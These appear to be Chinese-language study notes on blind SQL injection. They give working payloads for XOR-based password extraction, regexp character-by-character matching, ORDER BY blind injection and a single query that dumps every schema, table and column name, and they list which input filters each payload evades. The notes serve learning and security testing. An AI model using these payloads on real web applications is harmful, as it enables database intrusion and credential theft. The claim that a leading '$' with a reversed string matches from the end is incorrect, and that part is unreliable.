XOR注入

有这样一个特性

  1. 0^1^0 结果为真
  2. 0^0^0 结果为假

假设我们构造这么一个语句

admin'^(ascii(mid(password from i))>j)^'1'='1'%23
admin'^(ascii(mid(password from {} for (1)))>{})^'1'='1'%23

MID(str,start,len)——从第start位开始截取长度为len

使用场合:过滤 and or 逗号 空格

regexp注入

基本语句

select (select 语句) regexp '正则表达式'

我们使用正则来对查询结果进行一步步判断(逐渐完善正则匹配语句)

比如说我们现在有这样一个例子

select user from users where user_name = 1

我们加入正则进行匹配

select (select user from users where user_name = 1) regexp '^a'
这里^表示 pattern 的开头

继续匹配

select (select user from users where user_name = 1) regexp '^a1'

最后将其全部匹配出来

select (select user from users where user_name = 1) regexp '^a114514'

regexp还可以替代 where 中的=号

select * from users where user_name regexp '^a'

如果 ^被过滤,可以使用$从后往前进行匹配

select (select user from users where user_name = 1) regexp '$415411a'

使用场合:过滤 = in like


order by 盲注

注入语句

select * from table_name where id='1' union select 1,2,'a',4,5,6,7 order by 3

order by 对查询结果进行排序(默认升序 | +desc降序)
这里这句话是指我们按照第三列进行排序
我们可以通过对注入的返回差异来进行盲注

select * from table_name where id='1' union select 1,2,'{}',4,5,6,7 order by 3

小技巧
Y4HT}OF2JMI)H82`BZVGZ@D.png
一次性爆所有表名列名

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)

问题:Subquery returns more than 1 row的解决方法

![7FQS6VXX8@7R}1~KAMZ`8V.png